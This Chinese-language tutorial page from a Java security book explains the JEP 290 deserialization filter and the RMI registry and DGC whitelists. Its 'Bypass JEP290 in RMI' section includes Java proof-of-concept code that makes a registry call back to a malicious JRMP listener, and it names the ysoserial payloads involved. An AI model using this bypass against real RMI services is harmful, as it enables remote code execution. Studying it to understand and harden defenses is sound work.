Java
  • About This Book
  • 🍖Prerequisites
    • 反射
      • 反射基本使用
      • 高版本JDK反射绕过
      • 反射调用命令执行
      • 反射构造HashMap
      • 方法句柄
    • 类加载
      • 动态加载字节码
      • 双亲委派模型
      • BCEL
      • SPI
    • RMI & JNDI
      • RPC Intro
      • RMI
      • JEP 290
      • JNDI
    • Misc
      • Unsafe
      • 代理模式
      • JMX
      • JDWP
      • JPDA
      • JVMTI
      • JNA
      • Java Security Manager
  • 👻Serial Journey
    • URLDNS
    • SerialVersionUID
    • Commons Collection 🥏
      • CC1-TransformedMap
      • CC1-LazyMap
      • CC6
      • CC3
      • CC2
    • FastJson 🪁
      • FastJson-Basic Usage
      • FastJson-TemplatesImpl
      • FastJson-JdbcRowSetImpl
      • FastJson-BasicDataSource
      • FastJson-ByPass
      • FastJson与原生反序列化(一)
      • FastJson与原生反序列化(二)
      • Jackson的原生反序列化利用
    • Other Components
      • SnakeYaml
      • C3P0
      • AspectJWeaver
      • Rome
      • Spring
      • Hessian
      • Hessian_Only_JDK
      • Kryo
      • Dubbo
  • 🌵RASP
    • JavaAgent
    • JVM
    • ByteCode
    • JNI
    • ASM 🪡
      • ASM Intro
      • Class Generation
      • Class Transformation
    • Rasp防御命令执行
    • OpenRASP
  • 🐎Memory Shell
    • Tomcat-Architecture
    • Servlet API
      • Listener
      • Filter
      • Servlet
    • Tomcat-Middlewares
      • Tomcat-Valve
      • Tomcat-Executor
      • Tomcat-Upgrade
    • Agent MemShell
    • WebSocket
    • 内存马查杀
    • IDEA本地调试Tomcat
  • ✂️JDBC Attack
    • MySQL JDBC Attack
    • H2 JDBC Attack
  • 🎨Templates
    • FreeMarker
    • Thymeleaf
    • Enjoy
  • 🎏MessageQueue
    • ActiveMQ CNVD-2023-69477
    • AMQP CVE-2023-34050
    • Spring-Kafka CVE-2023-34040
    • RocketMQ CVE-2023-33246
  • 🛡️Shiro
    • Shiro Intro
    • Request URI ByPass
    • Context Path ByPass
    • Remember Me反序列化 CC-Shiro
    • CB1与无CC依赖的反序列化链
  • 🍺Others
    • Deserialization Twice
    • A New Blazer 4 getter RCE
    • Apache Commons Jxpath
    • El Attack
    • Spel Attack
    • C3P0原生反序列化的JNDI打法
    • Log4j
    • Echo Tech
      • SpringBoot Under Tomcat
    • CTF 🚩
      • 长城杯-b4bycoffee (ROME反序列化)
      • MTCTF2022(CB+Shiro绕过)
      • CISCN 2023 西南赛区半决赛 (Hessian原生JDK+Kryo反序列化)
      • CISCN 2023 初赛 (高版本Commons Collections下其他依赖的利用)
      • CISCN 2021 总决赛 ezj4va (AspectJWeaver写字节码文件到classpath)
      • D^3CTF2023 (新的getter+高版本JNDI不出网+Hessian异常toString)
      • WMCTF2023(CC链花式玩法+盲读文件)
      • 第六届安洵杯网络安全挑战赛(CB PriorityQueue替代+Postgresql JDBC Attack+FreeMarker)
  • 🔍Code Inspector
    • CodeQL 🧶
      • Tutorial
        • Intro
        • Module
        • Predicate
        • Query
        • Type
      • CodeQL 4 Java
        • Basics
        • DFA
        • Example
    • SootUp ✨
      • Intro
      • Jimple
      • DFA
      • CG
    • Tabby 🔦
      • install
    • Theory
      • Static Analysis
        • Intro
        • IR & CFG
        • DFA
        • DFA-Foundation
        • Interprocedural Analysis
        • Pointer Analysis
        • Pointer Analysis Foundation
        • PTA-Context Sensitivity
        • Taint Anlysis
        • Datalog
Powered by GitBook
On this page
  • Intro
  • ObjectInputFilter
  • serialFilter
  • filterCheck
  • customized filter
  • Filter in RMI
  • Normal RemoteObject
  • RegistryImpl
  • DGCImpl
  • Bypass JEP290 in RMI
  • Filter in WebLogic
  • Ref

Was this helpful?

  1. 🍖Prerequisites
  2. RMI & JNDI

JEP 290

Intro

上一节介绍的RMI反序列化入口都是JDK自带的rmi包中,很难想象官方会不去修复或缓解这个漏洞。

针对此JDK9加入了一个反序列化的安全机制————JEP 290

JEP:Java Enhancement Proposal 即Java增强提议,像新语法什么的都会在这出现

是在Java9提出的,但在JDK6、7、8的高版本中也引入了这个机制(JDK8121、JDK7u131、JDK6u141)

官方的描述👉https://openjdk.org/jeps/290

JEP 290: Filter Incoming Serialization Data

Allow incoming streams of object-serialization data to be filtered in order to improve both security and robustness.

对输入的对象序列化数据流进行过滤,以提高安全性和鲁棒性。

根据官方的描述,核心机制在于一个可以被用户实现的filter接口,作为ObjectInputStream的一个属性,反序列化时会触发接口的方法,对序列化类进行合法性检查。每个对象在被实例化和反序列化之前,过滤器都会被调用,除去Java的基本类型和java.lang.String(若过滤器未设置,默认使用全局过滤器)。此外,针对RMI,用于导出远程对象的UnicastServerRef中的MarshalInputStream也设置了过滤器,用于验证方法参数的合法性。

下面的分析都基于JDK8u202,其他版本应该类似。

我们下载的Oracle JDK只提供了java和javax包下的源码,没有sun包源码

需要去OpenJDK官网下载JDK源码,如8u202👉https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/4d01af166527,点击zip下载源码

下载的压缩包下src/share/classes,将sun目录复制到JDK的安装目录下的src,IDEA中Project Structure->SDKs->SourcePath,添加src目录

这样就不用看🤮反编译结果了✌️

ObjectInputFilter

原生反序列化的入口在ObjectInputStream#readObject,在这里设置过滤器再合适不过。JEP 290在ObjectInputStream类中增加了一个serialFilter属性和一个filterCheck方法。

serialFilter

ObjectInputStream的构造方法初始化了serialFilter

Config是sun.misc.ObjectInputFilter这个接口的一个静态内部类,getSerialFilter返回Config的静态字段serialFilter

这个静态字段在Config的静态代码块中进行初始化

试试打印这两个全局属性,发现是null,所以默认反序列化过滤器为空

System.getProperty("jdk.serialFilter");
Security.getProperty("jdk.serialFilter")

若有设置这两个全局属性,才会构造序列化过滤器。

serialFilter是ObjectInputFilter接口类,ObjectInputStream#setObjectInputFilter(JDK9以下是setInternalObjectInputFilter)用于设置过滤器。(相应的也有getObjectInputFilter用于获取过滤器)

下面看看当jdk.serialFilter全局属性不为空时,如何创建一个过滤器

ObjectInputFilter.Config#createFilter

关于pattern的规则,注释也写得很详细明了了。

反序列化时检查类有三种状态:ALLOWED、REJECTED、UNDECIDED

见ObjectInputFilter接口的枚举类Status

这里插入一个测试例子

反序列化时成功抛出InvalidClassException异常,显示过滤器状态为REJECTED

接着交给ObjectInputFilter.Config.Global#createFilter去创建过滤器

Global本身就实现了ObjectInputFilter接口

Global的构造函数会解析我们传入的匹配规则pattern,将规则解析成一个个lambda表达式,lambda表达式会返回ObjectInputFilter.Status

private final List<Function<Class<?>, Status>> filters;
  • 过滤包下的所有类

pkg为我们设置的待过滤包名

pkg与Class.getName()进行比较

  • 过滤包下的所有类及所有子包

  • 过滤某个前缀

  • 过滤某个类

总结:ObjectInputStream的构造方法中获取serialFilter(ObjectInputFilter接口类),即ObjectInputFilter.Config的静态成员serialFilter,其在Config的静态代码块中初始化,若有通过System或Security设置全局属性jdk.serialFilter,则创建反序列化过滤器(默认为null,不创建)。最后调用ObjectInputFilter.Config.Global的构造方法,Global实现了ObjectInputFilter接口,所以它本身就是一个过滤器。Global的构造方法中对传入的过滤规则pattern解析成一个个lambda表达式,放入自身的filters字段中。

filterCheck

ObjectInputStream#filterCheck会对类进行过滤

  • 判断serialFilter是否为空

  • 交给serialFilter#checkInput进行类检测

  • 若返回状态为null或REJECTED,抛出InvalidClassException异常

这里封装了一个FilterValues对象(这个类实现了ObjectInputFilter.FilterInfo接口)

Global#checkInput会检测如下内容:

  • 数组长度是否超过maxArrayLength

  • 类名是否在黑名单filters

  • 对象引用是否超过maxReferences

  • 序列流大小是否超过maxStreamBytes

  • 嵌套对象的深度是否超过maxDepth

customized filter

上面通过设置全局属性jdk.serialFilter,创建的是全局过滤器,因为ObjectInputFilter.Config类初始化,Global这个过滤器被创建并赋值给Config.serialFilter,每次创建ObjectInputStream对象都是去拿Config的serialFilter属性。

Local customization

若想设置局部自定义过滤器,可以调用ObjectInputStream#setInternalObjectInputFilter,传入自定义的ObjectInputFilter(JDK9及以上是setObjectInputFilter)

或者调用ObjectInputFilter.Config#setObjectInputFilter,需要传入ObjectInputStream对象和自定义的过滤器

Global customization

可能需要通过反射去修改Config的serialFilter属性

因为对象实例化后serialFilter已经被赋值了,但setSerialFilter会检查serialFilter是否为空,不为空就改不了。这方法估计就是用来代替设置jdk.serialFilter全局属性的。

Filter in RMI

Normal RemoteObject

RMI在调用远程方法时,服务端会反序列化客户端发送的序列化参数对象。

sun.rmi.server.UnicastServerRef#dispatch

UnicastServerRef多了一个属性filter,可在构造的时候传入。

unmarshalCustomCallData设置了一个局部过滤器,对传入的MarshalInputStream设置serialFilter,来过滤远程方法的调用参数。

但很可惜这个filter默认是null,也就是默认没有反序列化过滤器。

远程对象继承了UnicastRemoteObject,其构造方法会把自身导出,

可以看到这里构造UnicastServerRef时默认过滤器为null。

RegistryImpl

但对于注册中心RegistryImpl的创建,就指定了一个过滤器。

这里的::表示方法引用,配合函数式接口使用,比如:

interface Converter {
    String convert(String input);
}

// 使用静态方法引用实现函数式接口
Converter converter = String::toUpperCase;
String result = converter.convert("hello"); // HELLO

函数式接口是只有一个抽象方法的接口,可以使用lambda表达式或方法引用来实现该抽象方法。避免匿名类的构造。Java中的函数式接口使用@FunctionalInterface注解进行标识。

刚好ObjectInputFilter有@FunctionalInterface注解

RegistryImpl::registryFilter设置了一个白名单,只允许反序列化特定类的子类

父类.class.isAssignableFrom(子类.class)

RegistryImpl的registryFilter属性在初始化时读取全局属性sun.rmi.registry.registryFilter,读不到也是默认null过滤器。

Config.createFilter2和Config.createFilter的区别在于前者不会检测数组里的元素类型。

DGCImpl

同样DGCImpl也设置了自己的白名单

Bypass JEP290 in RMI

首先就是对于普通的远程对象,其UnicastServerRef的filter默认为null,因此传输恶意对象让其进行反序列化仍可以打。

感觉这个叫bypass很勉强,只是JEP290对反序列化的点没有防御全面,而不是防御逻辑出问题。

其次注意到上面的防护只是针对服务端的引用层,都是在UnicastServerRef中调用unmarshalCustomCallData将filter注册进来,

而对于客户端的引用层UnicastRef,并没有发现过滤器的注册,因此payloads.JRMPClient/exploit.JRMPListner仍可以打

既然对于客户端没有防护,那么能不能让服务端变成客户端呢?

注册中心设置白名单肯定要保证原本功能的正常运行,也就是通过bind传递的Stub肯定要能被反序列化,才能被注册中心接收。

看一眼白名单,Remote、UnicastRef、UID、Number、String这些基本的bind要传的类是有的

结合前面RMI讲的UnicastRef反序列化会触发DGC的dirty,因此我们构造一个指向我们恶意JRMP服务的远程对象Stub,让注册中心往我们的恶意服务端发送租赁请求,接着返回恶意数据让其反序列化。

public class RMIServer {
    public static void main(String[] args) throws Exception {
        LocateRegistry.createRegistry(1099);
        while (true) {
            Thread.sleep(10000);
        }
    }
}
public class RMIClient {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
        ObjID id = new ObjID(new Random().nextInt());
        TCPEndpoint te = new TCPEndpoint("127.0.0.1", 12233);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
        Remote proxy = (Remote) Proxy.newProxyInstance(RMIClient.class.getClassLoader(), new Class[]{
                Remote.class
        }, obj);
        registry.bind("x", proxy);
    }
}

TCPEndpoint指向了JRMPListener的主机和端口

上面的payload只能在本地打通。

之前不是说注册中心压根没有做身份验证嘛,任何人都可以随便bind对象上去

高版本RMI修复了这个问题,RegistryImpl_Skel在调用bind、rebind、unbind之前会判断客户端的IP和本机IP是否相同

当然list、lookup这些客户端正常使用的功能就没有这个限制

但是如果客户端直接调用lookup,只能传递字符串。

我们可以直接仿造RegistryImpl_Stub实现一个lookup方法,使其接收Object对象,并把opnum改成lookup对应的2

public class RMIClient {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
        ObjID id = new ObjID(new Random().nextInt());
        TCPEndpoint te = new TCPEndpoint("127.0.0.1", 12233);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
        lookup(registry, obj);
    }

    public static Remote lookup(Registry registry, Object obj)
            throws Exception {
        RemoteRef ref = (RemoteRef) getFieldValue(registry, "ref");
        long interfaceHash = Long.valueOf(String.valueOf(getFieldValue(registry, "interfaceHash")));

        java.rmi.server.Operation[] operations = (Operation[]) getFieldValue(registry, "operations");
        java.rmi.server.RemoteCall call = ref.newCall((java.rmi.server.RemoteObject) registry, operations, 2, interfaceHash);
        try {
            try {
                java.io.ObjectOutput out = call.getOutputStream();
                out.writeObject(obj);
            } catch (java.io.IOException e) {
                throw new java.rmi.MarshalException("error marshalling arguments", e);
            }
            ref.invoke(call);
            return null;
        } catch (RuntimeException | RemoteException | NotBoundException e) {
            if(e instanceof RemoteException| e instanceof ClassCastException){
                return null;
            }else{
                throw e;
            }
        } catch (java.lang.Exception e) {
            throw new java.rmi.UnexpectedException("undeclared checked exception", e);
        } finally {
            ref.done(call);
        }
    }

    public static Object getFieldValue(Object o, String name) throws Exception {
        Class<?> superClazz = o.getClass();
        Field f = null;
        while (true) {
            try {
                f = superClazz.getDeclaredField(name);
                break;
            } catch (NoSuchFieldException e) {
                superClazz = superClazz.getSuperclass();
            }
        }
        f.setAccessible(true);
        return f.get(o);
    }
}

JDK 8u231修复了DGCImpl_Stub,反序列化前设置了过滤器

return (clazz == ObjID.class ||
        clazz == UID.class ||
        clazz == VMID.class ||
        clazz == Lease.class) ? ObjectInputFilter.Status.ALLOWED: ObjectInputFilter.Status.REJECTED;

白名单绕不过了。

后面的版本UnicastRef貌似也没有对异常类进行反序列化了。

Filter in WebLogic

海妹学weblogic,占个位

Ref

  • https://paper.seebug.org/1689/

  • https://xz.aliyun.com/t/8706

  • https://baicany.github.io/2023/07/30/jrmp/

PreviousRMINextJNDI

Last updated 1 year ago

Was this helpful?

image-20231019130252975
image-20231019131138368
image-20231019140711305
image-20231019132234233
image-20231019141636295
image-20231019143833800
image-20231019145016446
image-20231019145153312
image-20231019145926798
image-20231019150227311
image-20231019150400673
image-20231019150518083
image-20231019132619505
image-20231019152613954
image-20231019153916447
image-20231019154258252
image-20231019155727994
image-20231019155954661
image-20231019160617582
image-20231019165313000
image-20231019165735064
image-20231019191028303
image-20231019191041459
image-20231019183540130
image-20231019183614046
image-20231019185138711
image-20231019185545625
image-20231019191448228
image-20231019191643000
image-20240224153750046
image-20240224154031763
image-20240224164422504
image-20240224172846402
image-20240224172928024
image-20240224173053044
image-20240224165908094
image-20240224170026968